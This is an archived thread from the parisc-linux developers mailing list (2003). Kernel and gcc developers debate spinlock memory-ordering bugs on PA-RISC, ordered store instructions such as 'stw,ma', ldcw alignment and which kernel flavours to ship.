Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 16:49:42 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20030209004942.GQ11363@tausq.org>
References: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622198 21495 80.91.229.3 (22 Nov 2014 02:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:58 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 18:27:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AF494829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 18:27:34 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 76D43CD294; Sat,  8 Feb 2003 16:49:42 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17660

> I think the volatile provides the barrier in my suggested version.

volatile would prevent reordering accesses to a particular spinlock, 
but does it ensure that code that happens after the spinlock will not
be reordered to happen before the spin-unlock?

for example, if we had:

volatile spinlock l1, l2;

lock(l1)
do something
unlock(l1)

lock(l2)
do something else
unlock(l2)

will gcc ever move the lock(l2) before the unlock(l1)? 

(for reference, see this thread:
http://lists.debian.org/debian-gcc/2002/debian-gcc-200210/msg00058.html)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 16:56:08 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030209005608.GR11363@tausq.org>
References: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca> <20030209004942.GQ11363@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622198 21511 80.91.229.3 (22 Nov 2014 02:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:58 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 18:34:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B5DE4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 18:34:02 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1251ECD294; Sat,  8 Feb 2003 16:56:08 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030209004942.GQ11363@tausq.org>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17661

> lock(l1)
> do something
> unlock(l1)
> 
> lock(l2)
> do something else
> unlock(l2)
> 
> will gcc ever move the lock(l2) before the unlock(l1)? 

well, bad example, since l1 and l2 are both volatile, but in general,
nothing will prevent part of "do something else" to happen inside the l1
lock, right?

randolph


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 02:03:25 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20030209020325.D27544@parcelfarce.linux.theplanet.co.uk>
References: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca> <20030209004942.GQ11363@tausq.org> <20030209005608.GR11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622198 21525 80.91.229.3 (22 Nov 2014 02:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:58 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Matthew Wilcox <willy@debian.org>, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 19:03:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8BF2482C
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 19:03:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18hgoX-0003n6-00; Sun, 09 Feb 2003 02:03:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030209005608.GR11363@tausq.org>; from tausq@debian.org on Sat, Feb 08, 2003 at 04:56:08PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17662

On Sat, Feb 08, 2003 at 04:56:08PM -0800, Randolph Chung wrote:
> > lock(l1)
> > do something
> > unlock(l1)
> > 
> > lock(l2)
> > do something else
> > unlock(l2)
> > 
> > will gcc ever move the lock(l2) before the unlock(l1)? 
> 
> well, bad example, since l1 and l2 are both volatile, but in general,
> nothing will prevent part of "do something else" to happen inside the l1
> lock, right?

I think it's even worse than that.  What stops gcc reordering:

typedef struct {
        spinlock_t lock;
        volatile int counter;
} rwlock_t;

static  __inline__ void _raw_read_lock(rwlock_t *rw)
{
        while (__ldcw (&(x)->lock) == 0) \
                while (((x)->lock) == 0) ; } while (0)
        rw->counter++;
        do { (x)->lock = 1; } while(0)
}

to:

        while (__ldcw (&(x)->lock) == 0) \
                while (((x)->lock) == 0) ; } while (0)
        do { (x)->lock = 1; } while(0)
        rw->counter++;

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 21:11:32 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200302090211.h192BWYl012933@hiauly1.hia.nrc.ca>
References: <20030209005608.GR11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622199 21532 80.91.229.3 (22 Nov 2014 02:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:59 +0000 (UTC)
Cc: willy@debian.org, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 19:11:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8071E4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 19:11:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h192BXot012935;
	Sat, 8 Feb 2003 21:11:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h192BWYl012933;
	Sat, 8 Feb 2003 21:11:32 -0500 (EST)
In-Reply-To: <20030209005608.GR11363@tausq.org> from "Randolph Chung" at Feb 8, 2003 04:56:08 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17663

> > lock(l1)
> > do something
> > unlock(l1)
> > 
> > lock(l2)
> > do something else
> > unlock(l2)
> > 
> > will gcc ever move the lock(l2) before the unlock(l1)? 
> 
> well, bad example, since l1 and l2 are both volatile, but in general,
> nothing will prevent part of "do something else" to happen inside the l1
> lock, right?

Volatile would stop gcc from moving code across either the lock or the unlock.
A blockage is in fact implemented as an UNSPEC_VOLATILE instruction.
The PA 8000 has a large reorder buffer, so there are similar issues.
It's guaranteed that instructions will appear to execute in order on a
processor but the memory updates as viewed from another processor may
occur out of order.  To ensure that other processors have a consistent
view of whats happening, one must use ordered instructions for the lock
and unlock operations.  This will force all stores and loads inside the
lock to complete.  Further, if cache flush operations occur inside
a lock, you must also do a "sync" before unlocking to ensure that these
operations complete.  The ldcw insn is strongly ordered.  A load and
store on PA 2.0 can be made ordered with the correct completer.  Cache
flush operations are weakly ordered.  On PA 1.x, all load and store
instructions are strongly ordered, so ordering isn't an issue.

The current spinlock reset is done in high-level C.  So, gcc can move code
that that isn't dependent across the reset.  PA 2.0 processors can also do
the same.

Appendix G describes ordering in much more detail.  Hopefully, I haven't
butchered what's said there too badly.

The reordering that GCC does is conditional on instruction dependencies.  I
just reworked the handling of the PIC register restore in PIC code
because all the PIC register were not apparent in the initial scheduling
pass.  This is in 3.3 and main, but not 3.2.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 21:18:44 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200302090218.h192Ii9E012950@hiauly1.hia.nrc.ca>
References: <20030209020325.D27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622199 21541 80.91.229.3 (22 Nov 2014 02:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:59 +0000 (UTC)
Cc: tausq@debian.org, willy@debian.org,
	grundler@dsl2.external.hp.com, parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 19:18:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EAF04829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 19:18:47 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h192Iiot012951;
	Sat, 8 Feb 2003 21:18:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h192Ii9E012950;
	Sat, 8 Feb 2003 21:18:44 -0500 (EST)
In-Reply-To: <20030209020325.D27544@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 9, 2003 02:03:25 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17664

> I think it's even worse than that.  What stops gcc reordering:
> 
> typedef struct {
>         spinlock_t lock;
>         volatile int counter;
> } rwlock_t;
> 
> static  __inline__ void _raw_read_lock(rwlock_t *rw)
> {
>         while (__ldcw (&(x)->lock) == 0) \
>                 while (((x)->lock) == 0) ; } while (0)
>         rw->counter++;
>         do { (x)->lock = 1; } while(0)
> }
> 
> to:
> 
>         while (__ldcw (&(x)->lock) == 0) \
>                 while (((x)->lock) == 0) ; } while (0)
>         do { (x)->lock = 1; } while(0)
>         rw->counter++;

Nothing.  The reset needs to be a volatile asm.  This will stop GCC from
doing the above.  On PA 2.0, the processor can do similar reordering.  So,
the reset needs to be an ordered store.  Well, I think the scheduling
model tends to try to do things as early as possible, consistent with
not over feeding the pipeline.  However, I wouldn't rely on this to
get the instrunction order that you want.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 20:10:14 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20030209031014.GD19683@dsl2.external.hp.com>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622199 21549 80.91.229.3 (22 Nov 2014 02:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 20:10:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C05BA4829; Sat,  8 Feb 2003 20:10:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17665

On Sat, Feb 08, 2003 at 11:23:03PM +0000, Matthew Wilcox wrote:
> Is all that's needed to take the latest binutils from debian unstable
> and rebuild it on woody?

Almost. It needs a patch too:
	ftp://ftp.parisc-linux.org/patches/900_order_hppa.diff

Just drop that in debian/patches before building the debs.
That patch applies clean to the binutils for unstable.
I don't even pretend to understand how to properly build
debian packages, much less binutils or "cross release" builds.
That's why I made the tarball for "testing".

> That's interesting from an architecture PoV.  From my recollection when jsm
> was debugging problems on the 710, PCX-S is the only processor which actually
> enforces the 16-byte alignment restriction on ldcw.  So _practically_, we
> don't need it unless we're supporting those old processors.

I don't care to find out the hard way.
I'd rather just comply with the architecture and not worry about it.
If someone can demonstrate a perf advantage or issue, I'll be
more receptive.

> Actually... this may be a long-standing bug in our spinlocks.  There's nothing
> to prevent gcc reordering writes around this assignment.  We need a barrier()
> before the assignment, or maybe it'd be as well to do the assignment in an
> asm() statement.

I've read the followups to this and I gather our spinlocks are very broken.
If someone tells me what the right fix is, I'll test on PA20 32/64 bit
and commit.

> One final point.... up till now, we've been telling people it's OK to
> run kernels configured for PA1.1 on PA2.0 processors.  This patch says
> to me that's not safe.

Only for SMP. I think for UP the rule still holds.

> Do we need our distros (yeah, I hear there'll
> soon be more than Debian supporting PA) to ship 5 flavours of kernel
> (PA1.1 UP & SMP, PA2.0 32-bit SMP, 64-bit UP and 64-bit SMP) rather than
> the current four?

Unfortunately yes.

OTOH, PA20 SMP still hasn't proven stable so maybe it's not worth
doing at the moment either.  Once PA20 SMP is stable, we could drop
the 64-bit UP kernels since most systems that *require* 64-bit are SMP.

thanks,
grant


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 20:27:05 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20030209032705.GE19683@dsl2.external.hp.com>
References: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622200 21559 80.91.229.3 (22 Nov 2014 02:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:00 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 20:27:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2382D4829; Sat,  8 Feb 2003 20:27:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17666

On Sat, Feb 08, 2003 at 07:35:18PM -0500, John David Anglin wrote:
> > +#define spin_unlock(x) \
> > +		__asm__ __volatile__ ("stw,o  %%sp,0(%0)" : : "r" (x) : "memory" )
> 
> If you change the above to
> 
>   __asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (x) : "memory")
> 
> it should work on both PA11 and PA20.  The ordered completer is only
> PA 2.

Excellent idea.

In case it's not obvious to others, "stw,o" is an alias
for "stw,ma" with a Zero index value. But PA11 assembler
will grok the stw,ma properly.

I'll look at getting this into the kernel this week if someone
else doesn't beat me to it.  I'd like to test what I've got a bit
more now and get the binutils .deb availability issue resolved.

thanks,
grant


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 23:06:16 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200302090406.h1946HYm013426@hiauly1.hia.nrc.ca>
References: <20030209032705.GE19683@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622200 21571 80.91.229.3 (22 Nov 2014 02:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:00 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 21:06:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB64C4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 21:06:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1946Hot013427;
	Sat, 8 Feb 2003 23:06:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1946HYm013426;
	Sat, 8 Feb 2003 23:06:17 -0500 (EST)
In-Reply-To: <20030209032705.GE19683@dsl2.external.hp.com> from "Grant Grundler" at Feb 8, 2003 08:27:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17667

> > If you change the above to
> > 
> >   __asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (x) : "memory")
> > 
> > it should work on both PA11 and PA20.  The ordered completer is only
> > PA 2.
> 
> Excellent idea.

The reason I am so up on this is that in testing gcc 3.4 on hppa1.1 this
weekend I found a problem with the locking code in atomicity.h.  This
was the 16-byte alignment issue.  In reviewing the assembly code being
generated, I revisited how the lock reset was done and came up with the
above.

This is also relevant to locking in glibc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
